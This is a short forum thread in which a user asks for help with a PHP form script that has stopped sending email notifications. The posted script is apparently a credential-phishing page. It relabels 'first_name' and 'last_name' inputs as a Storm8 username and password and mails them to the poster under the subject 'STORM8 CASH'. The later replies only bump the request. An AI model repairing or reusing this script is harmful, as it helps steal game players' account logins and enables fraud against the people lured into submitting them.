PHP Login Fail Please HELP


#1

I have had this up for several months on godaddy hosting. No issues. I wake up this morning and the php fails to send me email notifications. I call godaddy they tell me everything on my website is up to date and that they have not updated their servers and its an issue on my end. Any help would be amazing.

<?php if(isset($_POST['email'])) { // EDIT THE 2 LINES BELOW AS REQUIRED $email_to = "myemailgoes@here.com"; $email_subject = "STORM8 CASH"; function died($error) { // your error code can go here echo "We are very sorry, but there were error(s) found with the form your submitted. "; echo "These errors appear below.

"; echo $error."

"; echo "Please go back and fix these errors.

"; die(); } // validation expected data exists if(!isset($_POST['first_name']) || !isset($_POST['last_name']) || !isset($_POST['email'])) { died('We are sorry, but there appears to be a problem with the form your submitted.'); } $first_name = $_POST['first_name']; // not required $last_name = $_POST['last_name']; // not required $email_from = $_POST['email']; // not required $error_message = ""; if(strlen($error_message) > 0) { died($error_message); } $email_message = "Storm8 Account Information - Purchase.\n\n"; function clean_string($string) { $bad = array("content-type","bcc:","to:","cc:","href"); return str_replace($bad,"",$string); } $email_message .= "Storm8 Username: ".clean_string($first_name)."\n"; $email_message .= "Storm8 Password: ".clean_string($last_name)."\n"; $email_message .= "Email Address: ".clean_string($email_from)."\n"; // create email headers $headers = 'From: '.$email_from."\r\n". 'Reply-To: '.$email_from."\r\n" . 'X-Mailer: PHP/' . phpversion(); @mail($email_to, $email_subject, $email_message, $headers); ?>

#2

the form is still fully functional however the emails are no longer being sent


#3

bump someone please help :o